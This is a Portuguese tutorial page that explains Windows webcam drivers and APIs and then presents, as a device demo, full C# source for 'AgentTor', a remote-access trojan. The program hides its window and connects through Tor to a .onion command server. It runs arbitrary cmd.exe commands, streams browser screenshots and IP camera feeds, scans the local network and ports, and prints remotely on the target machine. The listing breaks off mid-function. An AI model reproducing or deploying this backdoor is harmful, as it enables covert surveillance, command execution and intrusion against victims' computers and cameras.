Aula 141 | Visualizar WebCam

Nesta aula do Curso Jaguar, damos continuidade à nossa jornada com dispositivos e APIs do Windows, com foco especial em webcams e como elas se integram ao sistema operacional e aos aplicativos.

As webcams podem ser externas (USB, com a tecnologia plug and play) ou embutidas em notebooks. Elas são dispositivos de entrada de vídeo que capturam imagens em tempo real e enviam para o computador. Quando conectadas via USB, o Windows detecta automaticamente o dispositivo por meio do barramento USB que representa o canal físico e lógico de comunicação entre o hardware e o sistema operacional.

Ao detectar a webcam, o Windows identifica informações como:

  • VID (Vendor ID): o identificador do fabricante

  • PID (Product ID): o identificador do produto específico

  • MI_00: indica múltiplas interfaces, como webcam e microfone embutidos no mesmo dispositivo

A próxima etapa é verificar se a webcam é compatível com o padrão UVC (USB Video Class). Se for, o sistema utiliza o driver genérico usbvideo.sys, sem exigir nenhuma instalação manual por parte do usuário.

Depois disso, entram em ação os drivers da arquitetura de streaming do Windows, chamada Kernel Streaming (KS):

  • ks.sys: camada base para dispositivos de streaming de áudio e vídeo

  • avstream.sys: extensão do KS que adiciona suporte a formatos modernos

Com tudo isso carregado, o Windows registra a webcam como um USB Video Device, pronto para ser usado por qualquer software que implemente as APIs corretas. Existem várias APIs para captura e processamento de vídeo no Windows, cada uma com um propósito específico:

  • DirectShow: voltada para áudio/vídeo em tempo real. Apesar de mais antiga, ainda é usada amplamente

  • Media Foundation: substituta moderna do DirectShow, com suporte a hardware, codificação, câmera HD e integração com GPU

  • Windows.Devices.MediaCapture: projetada para apps modernos e aplicações UWP

  • avicap32.dll: biblioteca clássica usada em aplicações legadas, com interface de captura simples

Essa padronização permite que aplicativos como Zoom, Google Meet e Microsoft Teams acessem e utilizem webcams de forma simples, com chamadas de API padronizadas. O fluxo é automatizado:

  1. O usuário conecta a webcam

  2. O Windows detecta via barramento USB

  3. Verifica compatibilidade com UVC

  4. Carrega drivers (usbvideo.sys, ks.sys, avstream.sys)

  5. Registra o dispositivo como USB Video Device

  6. O aplicativo seleciona a API de sua preferência (ex: DirectShow)

  7. Inicia a captura dos frames em tempo real

  8. Exibe ou transmite os frames pela rede

Tudo isso ocorre com zero intervenção do usuário, graças ao suporte nativo do sistema.

Na prática, nesta aula vamos além: vamos configurar uma rede interna com múltiplos dispositivos uma webcam local, uma câmera IP e uma impressora. O objetivo é demonstrar como é possível visualizar a imagem da webcam, acessar uma câmera IP remotamente e ainda imprimir documentos, tudo simultaneamente com um software multifunção. Isso ilustra como o sistema operacional gerencia múltiplos dispositivos de entrada e saída de forma integrada e eficiente.

Códigos:

Agente C#

.NET:

https://dotnet.microsoft.com/en-us/download

Código para projeto:

mkdir AgentTor
cd AgentTor
dotnet new winforms -n AgentTor
cd AgentTor

Código AgentTor.csproj:

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>WinExe</OutputType>
    <TargetFramework>net48</TargetFramework>
    <UseWindowsForms>true</UseWindowsForms>
    <RuntimeIdentifier>win-x64</RuntimeIdentifier>
    <PublishSingleFile>true</PublishSingleFile>
    <SelfContained>true</SelfContained>
    <LangVersion>8.0</LangVersion>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="AForge.Video.DirectShow" Version="2.2.5" />
    <PackageReference Include="PuppeteerSharp" Version="18.0.2" />
    <PackageReference Include="System.Drawing.Common" Version="8.0.6" />
    <PackageReference Include="System.Text.Json" Version="8.0.4" />
  </ItemGroup>

  <ItemGroup>
    <Reference Include="System.Net.Http" />
    <Reference Include="System.Windows.Forms" />
  </ItemGroup>

</Project>

Código Program.cs:

using System;
using System.IO;
using System.Net;
using System.Net.Http;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Linq;
using PuppeteerSharp;
using PuppeteerSharp.Input;
using System.Text.Json;
using System.Drawing.Printing;
using System.ComponentModel;

public class Agente
{
    private const string EnderecoProxyTor = "127.0.0.1";
    private const int PortaProxyTor = 9050;
    private const string HostOnion = "dominio.onion";
    private const int PortaOnion = 4444;
    private const int AtrasoReconexao = 15000;

    private static volatile bool isLongRunningSessionActive = false;
    private static CancellationTokenSource sessionTokenSource;
    private static IPage paginaNavegador;
    private static IBrowser navegador;

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    private const int SW_OCULTAR = 0;

    public class DispositivoDeRede
    {
        public string IP { get; set; }
        public string MAC { get; set; }
        public string Manufacturer { get; set; }
        public string Type { get; set; }
    }

    public class RespostaScan
    {
        public string type { get; set; } = "network_scan";
        public List<DispositivoDeRede> devices { get; set; }
    }

    public class RespostaImpressoras
    {
        public string type { get; set; } = "printer_list";
        public List<string> printers { get; set; }
    }

    public void ExecutarCiclo()
    {
        ShowWindow(GetConsoleWindow(), SW_OCULTAR);
        while (true)
        {
            try
            {
                using (var cliente = new TcpClient())
                {
                    cliente.Connect(EnderecoProxyTor, PortaProxyTor);
                    using (var stream = cliente.GetStream())
                    {
                        RealizarHandshakeSocks(stream, HostOnion, PortaOnion);
                        ProcessarFluxoDeDados(stream);
                    }
                }
            }
            catch
            {
            }
            finally
            {
                sessionTokenSource?.Cancel();
                isLongRunningSessionActive = false;
            }
            Thread.Sleep(AtrasoReconexao);
        }
    }

    private void LerBytesExatos(NetworkStream stream, byte[] buffer, int bytesParaLer)
    {
        int totalBytesLidos = 0;
        while (totalBytesLidos < bytesParaLer)
        {
            int bytesLidos = stream.Read(buffer, totalBytesLidos, bytesParaLer - totalBytesLidos);
            if (bytesLidos == 0) throw new EndOfStreamException("Conexão fechada pelo C2.");
            totalBytesLidos += bytesLidos;
        }
    }

    private void RealizarHandshakeSocks(NetworkStream stream, string host, int porta)
    {
        stream.Write(new byte[] { 0x05, 0x01, 0x00 }, 0, 3);
        var respostaAuth = new byte[2];
        LerBytesExatos(stream, respostaAuth, 2);
        if (respostaAuth[1] != 0x00) throw new Exception("Falha na autenticação SOCKS.");

        var hostBytes = Encoding.ASCII.GetBytes(host);
        var requisicao = new List<byte> { 0x05, 0x01, 0x00, 0x03, (byte)hostBytes.Length };
        requisicao.AddRange(hostBytes);
        requisicao.Add((byte)(porta >> 8));
        requisicao.Add((byte)(porta & 0xFF));
        stream.Write(requisicao.ToArray(), 0, requisicao.Count);

        var respostaConexao = new byte[10];
        LerBytesExatos(stream, respostaConexao, 10);
        if (respostaConexao[1] != 0x00) throw new Exception($"Falha na conexão SOCKS: código {respostaConexao[1]}");
    }

    private void ProcessarFluxoDeDados(NetworkStream stream)
    {
        while (true)
        {
            try
            {
                var cabecalhoBuffer = new byte[5];
                LerBytesExatos(stream, cabecalhoBuffer, 5);
                
                int tamanhoMensagem = BitConverter.ToInt32(cabecalhoBuffer, 1);
                var dadosBuffer = new byte[tamanhoMensagem];
                LerBytesExatos(stream, dadosBuffer, tamanhoMensagem);
                
                string comando = Encoding.UTF8.GetString(dadosBuffer).Trim();
                
                bool isInteractionCommand = comando.StartsWith("CLICK:") || comando.StartsWith("TYPE:") || comando.StartsWith("KEY_PRESS:") || comando.StartsWith("SCROLL:");

                if (isInteractionCommand && isLongRunningSessionActive)
                {
                    _ = ProcessarComandoInteracao(comando);
                }
                else if (comando.Equals("fecharpagina", StringComparison.OrdinalIgnoreCase))
                {
                    sessionTokenSource?.Cancel();
                }
                else if (comando.StartsWith("netcattestnav:") || comando.StartsWith("netcattestcamera:"))
                {
                    if (isLongRunningSessionActive)
                    {
                        EnviarMensagem(stream, 0x01, "[!] Já existe uma sessão principal (câmera/navegação) ativa. Use 'fecharpagina' para encerrá-la.").Wait();
                    }
                    else
                    {
                        isLongRunningSessionActive = true;
                        sessionTokenSource = new CancellationTokenSource();
                        if (comando.StartsWith("netcattestnav:"))
                        {
                            var url = comando.Substring("netcattestnav:".Length).Trim();
                            if (!url.StartsWith("http://") && !url.StartsWith("https://")) url = "http://" + url;
                            Task.Run(() => IniciarSessaoNavegador(url, stream, sessionTokenSource.Token));
                        }
                        else
                        {
                            Task.Run(() => IniciarCapturaCamera(comando, stream, sessionTokenSource.Token));
                        }
                    }
                }
                else if (comando.Equals("netcattest -h", StringComparison.OrdinalIgnoreCase))
                {
                    Task.Run(() => EnviarAjuda(stream));
                }
                else if (comando.StartsWith("netcattestscan", StringComparison.OrdinalIgnoreCase))
                {
                    Task.Run(() => EscanearRedeLocal(stream));
                }
                else if (comando.StartsWith("netcattestportas:", StringComparison.OrdinalIgnoreCase))
                {
                    var payload = comando.Substring("netcattestportas:".Length).Trim();
                    Task.Run(() => VerificarPorta(payload, stream));
                }
                else if (comando.StartsWith("netcattestimpressoras", StringComparison.OrdinalIgnoreCase))
                {
                    Task.Run(() => ListarImpressoras(stream));
                }
                else if (comando.StartsWith("netcattestimprimir:", StringComparison.OrdinalIgnoreCase))
                {
                    Task.Run(() => IniciarImpressao(comando, stream));
                }
                else
                {
                    ExecutarComandoShell(comando, stream);
                }
            }
            catch
            {
                break;
            }
        }
    }
    
    private async Task ProcessarComandoInteracao(string comando)
    {
        if (paginaNavegador != null)
        {
            try
            {
                if (comando.StartsWith("CLICK:", StringComparison.OrdinalIgnoreCase))
                {
                    var partes = comando.Substring("CLICK:".Length).Split(',');
                    if (partes.Length == 2 && int.TryParse(partes[0], out int x) && int.TryParse(partes[1], out int y))
                        await paginaNavegador.Mouse.ClickAsync(x, y);
                }
                else if (comando.StartsWith("TYPE:", StringComparison.OrdinalIgnoreCase))
                {
                    await paginaNavegador.Keyboard.TypeAsync(comando.Substring("TYPE:".Length), new TypeOptions { Delay = 10 });
                }
                else if (comando.StartsWith("KEY_PRESS:", StringComparison.OrdinalIgnoreCase))
                {
                    await paginaNavegador.Keyboard.PressAsync(comando.Substring("KEY_PRESS:".Length));
                }
                else if (comando.StartsWith("SCROLL:", StringComparison.OrdinalIgnoreCase))
                {
                    if (int.TryParse(comando.Substring("SCROLL:".Length), out int delta))
                        await paginaNavegador.EvaluateExpressionAsync($"window.scrollBy(0, {delta})");
                }
            }
            catch
            {
            }
        }
    }

    private async Task EnviarMensagem(NetworkStream stream, byte tipo, string texto)
    {
        if (string.IsNullOrEmpty(texto)) return;
        byte[] dados = Encoding.UTF8.GetBytes(texto);
        await EnviarPayload(stream, tipo, dados);
    }

    private async Task EnviarPayload(NetworkStream stream, byte tipo, byte[] dados)
    {
        try
        {
            if (stream == null || !stream.CanWrite || dados == null || dados.Length == 0) return;
            
            byte[] tamanho = BitConverter.GetBytes(dados.Length);
            var mensagemCompleta = new byte[5 + dados.Length];
            mensagemCompleta[0] = tipo;
            Buffer.BlockCopy(tamanho, 0, mensagemCompleta, 1, 4);
            Buffer.BlockCopy(dados, 0, mensagemCompleta, 5, dados.Length);
            
            await stream.WriteAsync(mensagemCompleta, 0, mensagemCompleta.Length);
        }
        catch
        {
        }
    }

    private string EncontrarExecutavel(string[] nomes, Environment.SpecialFolder[] pastasBase)
    {
        var caminhosEspecificos = new List<string>
        {
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Adobe", "Acrobat DC", "Acrobat"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Adobe", "Acrobat DC", "Acrobat"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Adobe", "Acrobat Reader DC", "Reader"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Adobe", "Acrobat Reader DC", "Reader"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Adobe", "Reader 11.0", "Reader"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Adobe", "Reader 11.0", "Reader")
        };

        foreach (var caminho in caminhosEspecificos)
        {
            foreach (var nome in nomes)
            {
                string caminhoCompleto = Path.Combine(caminho, nome);
                if (File.Exists(caminhoCompleto))
                {
                    return caminhoCompleto;
                }
            }
        }

        var caminhosBuscaAmpla = new List<string>();
        foreach (var pasta in pastasBase)
        {
            string caminhoPasta = Environment.GetFolderPath(pasta);
            if (!string.IsNullOrEmpty(caminhoPasta))
            {
                caminhosBuscaAmpla.Add(caminhoPasta);
            }
        }

        foreach (var caminhoBase in caminhosBuscaAmpla.Where(d => !string.IsNullOrEmpty(d) && Directory.Exists(d)))
        {
            foreach (var nome in nomes)
            {
                try
                {
                    var arquivos = Directory.GetFiles(caminhoBase, nome, SearchOption.AllDirectories);
                    if (arquivos.Length > 0)
                    {
                        return arquivos.OrderByDescending(f => new FileInfo(f).LastWriteTime).FirstOrDefault();
                    }
                }
                catch (UnauthorizedAccessException) { }
            }
        }
        return null;
    }

    private async Task IniciarSessaoNavegador(string url, NetworkStream stream, CancellationToken token)
    {
        try
        {
            await EnviarMensagem(stream, 0x01, "[+] Procurando instalação de navegador (Chrome/Edge)...");
            string caminhoNavegador = EncontrarExecutavel(
                new[] { "chrome.exe", "msedge.exe" }, 
                new[] { Environment.SpecialFolder.ProgramFiles, Environment.SpecialFolder.ProgramFilesX86, Environment.SpecialFolder.LocalApplicationData }
            );
            
            if (string.IsNullOrEmpty(caminhoNavegador))
            {
                await EnviarMensagem(stream, 0x01, "[!] Nenhum navegador compatível (Chrome/Edge) foi encontrado.");
                isLongRunningSessionActive = false;
                return;
            }
            await EnviarMensagem(stream, 0x01, $"[+] Usando navegador em: {caminhoNavegador}");

            navegador = await Puppeteer.LaunchAsync(new LaunchOptions 
            { 
                Headless = true, 
                ExecutablePath = caminhoNavegador, 
                Args = new[] { "--no-sandbox", "--disable-gpu", "--ignore-certificate-errors" }
            });
            paginaNavegador = await navegador.NewPageAsync();
            await paginaNavegador.SetViewportAsync(new ViewPortOptions { Width = 1280, Height = 720 });
            await EnviarMensagem(stream, 0x01, $"[+] Navegando para: {url}");
            await paginaNavegador.GoToAsync(url, new NavigationOptions { WaitUntil = new[] { WaitUntilNavigation.Networkidle2 }, Timeout = 30000 });
            
            _ = TransmitirTela(stream, token);
            await Task.Delay(Timeout.Infinite, token);
        }
        catch(OperationCanceledException) {}
        catch (Exception ex)
        {
            await EnviarMensagem(stream, 0x01, $"[!] Erro na sessão de navegação: {ex.Message}");
        }
        finally
        {
            if (navegador != null) await navegador.CloseAsync();
            isLongRunningSessionActive = false;
            paginaNavegador = null;
            await EnviarMensagem(stream, 0x01, "[+] Sessão de navegação encerrada.");
        }
    }

    private async Task TransmitirTela(NetworkStream stream, CancellationToken token)
    {
        while (!token.IsCancellationRequested)
        {
            try
            {
                var dadosScreenshot = await paginaNavegador.ScreenshotDataAsync(new ScreenshotOptions { Type = ScreenshotType.Jpeg, Quality = 80 });
                await EnviarPayload(stream, 0x02, dadosScreenshot);
                await Task.Delay(100, token);
            }
            catch (Exception) { break; }
        }
    }

    private async Task IniciarCapturaCamera(string comando, NetworkStream stream, CancellationToken token)
    {
        try
        {
            string[] partes = comando.Substring("netcattestcamera:".Length).Split(new[] { ':' }, 4);
            if (partes.Length < 3)
            {
                await EnviarMensagem(stream, 0x01, "[!] Formato de comando de câmera inválido. Use: usuario:senha:IP[:/caminho]");
                return;
            }

            string usuario = partes[0];
            string senha = partes[1];
            string ip = partes[2];
            string caminhoEspecifico = partes.Length > 3 ? partes[3] : "";

            var caminhosParaTestar = new List<string>();
            if (!string.IsNullOrEmpty(caminhoEspecifico)) caminhosParaTestar.Add(caminhoEspecifico);
            else caminhosParaTestar.AddRange(new List<string> { "/mjpg/video.mjpg", "/video.cgi", "/videostream.cgi", "/stream.mjpg", "/mjpeg.cgi", "/video.mjpg", "/cam/realmonitor?channel=1&subtype=0", "/axis-cgi/mjpg/video.cgi" });

            var client = new HttpClient(new HttpClientHandler { Credentials = new NetworkCredential(usuario, senha), PreAuthenticate = true });
            client.Timeout = TimeSpan.FromSeconds(10);

            bool sucesso = false;
            foreach (var caminho in caminhosParaTestar)
            {
                if (token.IsCancellationRequested) break;
                string url = $"http://{ip}{caminho}";
                await EnviarMensagem(stream, 0x01, $"[+] Tentando câmera em: {url}");

                try
                {
                    var response = await client.GetAsync(url, HttpCompletionOption.ResponseHeadersRead, token);
                    if (response.IsSuccessStatusCode && response.Content.Headers.ContentType?.MediaType == "multipart/x-mixed-replace")
                    {
                        await EnviarMensagem(stream, 0x01, $"[+] Conexão bem-sucedida! Iniciando stream...");
                        await TransmitirStreamMJPEG(stream, response, token);
                        sucesso = true;
                        break;
                    }
                    else await EnviarMensagem(stream, 0x01, $"[-] Falhou: Status {response.StatusCode}, ContentType {response.Content.Headers.ContentType?.MediaType}");
                }
                catch (Exception ex)
                {
                    await EnviarMensagem(stream, 0x01, $"[!] Falha ao conectar: {ex.Message}");
                }
            }

            if (!sucesso && !token.IsCancellationRequested)
            {
                await EnviarMensagem(stream, 0x01, "[!] Não foi possível conectar a nenhum caminho de câmera conhecido.");
            }
        }
        catch (Exception ex)
        {
             await EnviarMensagem(stream, 0x01, $"[!] Erro crítico na captura de câmera: {ex.Message}");
        }
        finally
        {
            isLongRunningSessionActive = false;
            await EnviarMensagem(stream, 0x01, "[+] Sessão de câmera encerrada.");
        }
    }

    private async Task TransmitirStreamMJPEG(NetworkStream c2Stream, HttpResponseMessage camResponse, CancellationToken token)
    {
        var boundary = camResponse.Content.Headers.ContentType.Parameters.FirstOrDefault(p => p.Name.Equals("boundary", StringComparison.OrdinalIgnoreCase))?.Value.Trim('"');
        if (string.IsNullOrEmpty(boundary)) throw new Exception("Boundary do MJPEG não encontrado no cabeçalho Content-Type.");
        
        byte[] boundaryBytes = Encoding.UTF8.GetBytes("--" + boundary);
        using (var streamCamera = await camResponse.Content.ReadAsStreamAsync())
        {
            while (!token.IsCancellationRequested)
            {
                try
                {
                    byte[] frameData = await ReadNextFrameAsync(streamCamera, boundaryBytes, token);
                    if (frameData.Length > 0) await EnviarPayload(c2Stream, 0x02, frameData);
                    else await Task.Delay(100, token);
                }
                catch (OperationCanceledException) { break; }
                catch (Exception) { break; }
            }
        }
    }

    private async Task<byte[]> ReadNextFrameAsync(Stream stream, byte[] boundaryBytes, CancellationToken token)
    {
        using (var memoryStream = new MemoryStream())
        {
            int contentLength = 0;
            string line;
            while (!string.IsNullOrEmpty(line = await ReadLineAsync(stream, token)) && !line.Contains(Encoding.UTF8.GetString(boundaryBytes))) { }
            while (!string.IsNullOrEmpty(line = await ReadLineAsync(stream, token)))
            {
                if (line.StartsWith("Content-Length:", StringComparison.OrdinalIgnoreCase))
                {
                    int.TryParse(line.Substring("Content-Length:".Length).Trim(), out contentLength);
                }
            }

            if (contentLength > 0)
            {
                var buffer = new byte[contentLength];
                int totalRead = 0;
                while (totalRead < contentLength)
                {
                    int read = await stream.ReadAsync(buffer, totalRead, contentLength - totalRead, token);
                    if (read == 0) throw new EndOfStreamException("Stream da câmera fechado inesperadamente.");
                    totalRead += read;
                }
                return buffer;
            }
            return new byte[0];
        }
    }
    
    private async Task<string> ReadLineAsync(Stream stream, CancellationToken token)
    {
        var sb = new StringBuilder();
        while (true)
        {
            int b = stream.ReadByte();
            if (b == -1) break;
            token.ThrowIfCancellationRequested();
            char c = (char)b;
            if (c == '\n') break;
            if (c != '\r') sb.Append(c);
        }
        return sb.ToString();
    }

    private async Task EscanearRedeLocal(NetworkStream stream)
    {
        await EnviarMensagem(stream, 0x01, "[+] Iniciando escaneamento avançado da rede local...");
        var dispositivos = new List<DispositivoDeRede>();
        try
        {
            var tasks = new List<Task>();
            foreach (var ni in NetworkInterface.GetAllNetworkInterfaces())
            {
                if (ni.OperationalStatus == OperationalStatus.Up && ni.NetworkInterfaceType != NetworkInterfaceType.Loopback)
                {
                    foreach (var ipInfo in ni.GetIPProperties().UnicastAddresses)
                    {
                        if (ipInfo.Address.AddressFamily == AddressFamily.InterNetwork)
                        {
                            tasks.Add(EscanearSubRede(ipInfo, stream, dispositivos));
                        }
                    }
                }
            }
            await Task.WhenAll(tasks);
        }
        catch (Exception ex)
        {
            await EnviarMensagem(stream, 0x01, $"[!] Erro durante o escaneamento: {ex.Message}");
        }
        var resposta = new RespostaScan { devices = dispositivos };
        string jsonResposta = JsonSerializer.Serialize(resposta);
        await EnviarMensagem(stream, 0x01, jsonResposta);
    }

    private async Task EscanearSubRede(UnicastIPAddressInformation ipInfo, NetworkStream stream, List<DispositivoDeRede> dispositivos)
    {
        await EnviarMensagem(stream, 0x01, $"[+] Escaneando sub-rede de {ipInfo.Address}...");
        var ip = ipInfo.Address;
        var mask = ipInfo.IPv4Mask;
        var ipBytes = ip.GetAddressBytes();
        var maskBytes = mask.GetAddressBytes();
        var startIpBytes = new byte[4];
        var endIpBytes = new byte[4];
        for (int i = 0; i < 4; i++)
        {
            startIpBytes[i] = (byte)(ipBytes[i] & maskBytes[i]);
            endIpBytes[i] = (byte)(ipBytes[i] | ~maskBytes[i]);
        }
        var pingTasks = new List<Task>();
        for (uint i = BitConverter.ToUInt32(startIpBytes.Reverse().ToArray(), 0) + 1; i < BitConverter.ToUInt32(endIpBytes.Reverse().ToArray(), 0); i++)
        {
            var targetIp = new IPAddress(BitConverter.GetBytes(i).Reverse().ToArray());
            pingTasks.Add(new Ping().SendPingAsync(targetIp, 1000));
        }
        await Task.WhenAll(pingTasks);
        await Task.Delay(3000);
        string saidaArp = ExecutarComandoLocal("arp", "-a");
        var macVendors = new Dictionary<string, string> { {"00:0C:29", "VMware"}, {"00:50:56", "VMware"}, {"00:05:69", "VMware"}, {"B8:27:EB", "Raspberry Pi"}, {"DC:A6:32", "Raspberry Pi"}, {"08:00:27", "VirtualBox"} };
        foreach(var linha in saidaArp.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries))
        {
            var partes = linha.Trim().Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries);
            if (partes.Length >= 2 && IPAddress.TryParse(partes[0], out IPAddress devIpAddr))
            {
                if (devIpAddr.AddressFamily != AddressFamily.InterNetwork || devIpAddr.Equals(IPAddress.Broadcast) || (devIpAddr.GetAddressBytes()[0] >= 224)) continue;
                string devIp = partes[0].Trim();
                string devMac = partes[1].Trim().ToUpper().Replace('-',':');
                string macPrefix = devMac.Length > 8 ? devMac.Substring(0, 8) : "";
                string vendor = macVendors.ContainsKey(macPrefix) ? macVendors[macPrefix] : "Desconhecido";
                var device = new DispositivoDeRede { IP = devIp, MAC = devMac, Manufacturer = vendor, Type = "Desconhecido" };
                lock(dispositivos) { if(!dispositivos.Any(d => d.IP == devIp)) dispositivos.Add(device); }
            }
        }
    }

    private async Task VerificarPorta(string alvo, NetworkStream stream)
    {
        string[] partes = alvo.Split(':');
        if (partes.Length != 2 || !IPAddress.TryParse(partes[0], out _) || !int.TryParse(partes[1], out int porta))
        {
            await EnviarMensagem(stream, 0x01, $"[!] Formato inválido. Use: IP:Porta. Recebido: {alvo}");
            return;
        }
        string ip = partes[0];
        await EnviarMensagem(stream, 0x01, $"[+] Verificando {ip}:{porta}...");
        try
        {
            using (var clientePorta = new TcpClient())
            {
                var task = clientePorta.ConnectAsync(ip, porta);
                if (await Task.WhenAny(task, Task.Delay(2000)) == task && !task.IsFaulted)
                {
                    await EnviarMensagem(stream, 0x01, $"[+] Resultado: A porta {porta} em {ip} está ABERTA.");
                }
                else
                {
                    await EnviarMensagem(stream, 0x01, $"[-] Resultado: A porta {porta} em {ip} está FECHADA ou sem resposta.");
                }
            }
        }
        catch (Exception)
        {
            await EnviarMensagem(stream, 0x01, $"[-] Resultado: A porta {porta} em {ip} está FECHADA ou sem resposta.");
        }
    }

    private async Task IniciarImpressao(string comando, NetworkStream stream)
    {
        string tempFilePath = null;
        try
        {
            var partes = comando.Substring("netcattestimprimir:".Length).Split(new[] { ':' }, 4);
            if (partes.Length < 4)
            {
                await EnviarMensagem(stream, 0x01, "[!] Comando de impressão inválido.");
                return;
            }
            string metodo = partes[0];
            string nomeImpressora = partes[1];
            string nomeTrabalho = partes[2];
            string dadosBase64 = partes[3];
            
            byte[] arquivoBytes;
            try
            {
                arquivoBytes = Convert.FromBase64String(dadosBase64);
            }
            catch (FormatException)
            {
                await EnviarMensagem(stream, 0x01, "[!] Erro: Os dados do arquivo recebido não estão em formato Base64 válido.");
                return;
            }
            
            bool isPdf = arquivoBytes.Length > 4 && Encoding.ASCII.GetString(arquivoBytes, 0, 4) == "%PDF";
            
            await EnviarMensagem(stream, 0x01, $"[+] Enviando para '{nomeImpressora}' via '{metodo}'...");
            
            if (metodo.Equals("acrobat", StringComparison.OrdinalIgnoreCase))
            {
                if (!isPdf)
                {
                    await EnviarMensagem(stream, 0x01, "[!] ERRO: O método 'acrobat' só pode ser usado para arquivos PDF.");
                    return;
                }

                string executavelPath = EncontrarExecutavel(
                    new[] { "Acrobat.exe", "AcroRd32.exe" }, 
                    new[] { Environment.SpecialFolder.ProgramFiles, Environment.SpecialFolder.ProgramFilesX86 }
                );

                if (string.IsNullOrEmpty(executavelPath))
                {
                    await EnviarMensagem(stream, 0x01, "[!] Adobe Acrobat/Reader não encontrado. A busca foi realizada em caminhos padrão e Program Files.");
                    return;
                }
                
                string nomeArquivoSeguro = new string(nomeTrabalho.Where(c => !Path.GetInvalidFileNameChars().Contains(c)).ToArray()).Trim();
                if (string.IsNullOrWhiteSpace(nomeArquivoSeguro))
                {
                    nomeArquivoSeguro = "ImpressaoRemota";
                }
                tempFilePath = Path.Combine(Path.GetTempPath(), nomeArquivoSeguro + ".pdf");
                await File.WriteAllBytesAsync(tempFilePath, arquivoBytes);

                await EnviarMensagem(stream, 0x01, $"[+] Usando: {executavelPath}");
                await EnviarMensagem(stream, 0x01, "[AVISO] O nome na fila de impressão é definido pelo título de metadados do PDF, o que pode diferir do nome do trabalho fornecido.");

                string argumentos = $"/t \"{tempFilePath}\" \"{nomeImpressora}\"";
                var psi = new ProcessStartInfo(executavelPath, argumentos) 
                { 
                    CreateNoWindow = true, 
                    UseShellExecute = false,
                    WindowStyle = ProcessWindowStyle.Hidden
                };
                
                using (var processo = Process.Start(psi))
                {
                    if (processo != null)
                    {
                        await EnviarMensagem(stream, 0x01, "[+] Comando de impressão enviado ao Acrobat. Aguardando o processo ser finalizado (timeout: 60s)...");
                        bool processoFinalizado = processo.WaitForExit(60000);
                        if (processoFinalizado)
                        {
                            await EnviarMensagem(stream, 0x01, "[+] O processo de impressão foi concluído.");
                        }
                        else
                        {
                            try 
                            { 
                                if (!processo.HasExited) processo.Kill(); 
                            } 
                            catch {}
                            await EnviarMensagem(stream, 0x01, "[AVISO] O processo do Acrobat não finalizou no tempo esperado e foi forçado a fechar. A impressão pode estar em andamento.");
                        }
                    }
                    else
                    {
                        await EnviarMensagem(stream, 0x01, "[!] Falha ao iniciar o processo do Acrobat.");
                    }
                }
            }
            else if (metodo.Equals("raw", StringComparison.OrdinalIgnoreCase))
            {
                if (isPdf)
                {
                     await EnviarMensagem(stream, 0x01, "[!] ERRO: O método 'raw' não pode ser usado para imprimir arquivos PDF. Use o método 'acrobat'. Impressão cancelada.");
                     return;
                }
                
                await EnviarMensagem(stream, 0x01, "[AVISO] O modo RAW enviará os dados diretamente. O arquivo deve estar em um formato que a impressora entenda (PCL, PRN, etc).");
                
                if (RawPrinterHelper.SendBytesToPrinter(nomeImpressora, arquivoBytes, nomeTrabalho))
                {
                    await EnviarMensagem(stream, 0x01, "[+] Arquivo enviado para a fila de impressão (RAW) com sucesso!");
                }
                else
                {
                    await EnviarMensagem(stream, 0x01, $"[!] Falha ao enviar para a fila de impressão (RAW). Erro do sistema: {new Win32Exception(Marshal.GetLastWin32Error()).Message}");
                }
            }
            else
            {
                await EnviarMensagem(stream, 0x01, $"[!] Método de impressão '{metodo}' desconhecido.");
            }
        }
        catch (Exception ex)
        {
            await EnviarMensagem(stream, 0x01, $"[!] Erro ao imprimir: {ex.Message}");
        }
        finally
        {
            if (tempFilePath != null && File.Exists(tempFilePath))
            {
                try { File.Delete(tempFilePath); } catch { }
            }
        }
    }

    private async Task ListarImpressoras(NetworkStream stream)
    {
        try
        {
            var printerNames = new List<string>();
            foreach (string printer in PrinterSettings.InstalledPrinters)
            {
                printerNames.Add(printer);
            }
            var response = new RespostaImpressoras { printers = printerNames };
            string jsonResponse = JsonSerializer.Serialize(response);
            await EnviarMensagem(stream, 0x01, jsonResponse);
        }
        catch (Exception ex)
        {
            await EnviarMensagem(stream, 0x01, $"[!] Erro ao listar impressoras: {ex.Message}");
        }
    }
    
    private async Task EnviarAjuda(NetworkStream stream)
    {
        var sb = new StringBuilder();
        sb.AppendLine("--- Menu de Ajuda ---");
        sb.AppendLine("netcattest -h                                     -> Mostra este menu de ajuda.");
        sb.AppendLine("netcattestnav:<URL>                               -> Inicia navegação remota para a URL.");
        sb.AppendLine("netcattestscan                                    -> Escaneia a rede local em busca de dispositivos.");
        sb.AppendLine("netcattestportas:<IP>:<PORTA>                     -> Verifica se uma porta específica está aberta.");
        sb.AppendLine("netcattestcamera:<USU>:<SEN>:<IP>[:/PTH]          -> Conecta a um stream de câmera.");
        sb.AppendLine("netcattestimpressoras                             -> Lista as impressoras instaladas no alvo.");
        sb.AppendLine("netcattestimprimir:<METODO>:<NOME>:<JOB>:<B64>    -> Imprime um arquivo (metodos: acrobat, raw).");
        sb.AppendLine("fecharpagina                                      -> Encerra a sessão de navegação ou câmera.");
        sb.AppendLine("Qualquer outro comando                            -> Executa diretamente no shell (cmd.exe).");
        sb.AppendLine("---------------------");
        await EnviarMensagem(stream, 0x01, sb.ToString());
    }

    private string ExecutarComandoLocal(string nomeArquivo, string argumentos)
    {
        try
        {
            var infoProcesso = new ProcessStartInfo(nomeArquivo, argumentos)
            {
                RedirectStandardOutput = true, 
                RedirectStandardError = true, 
                UseShellExecute = false, 
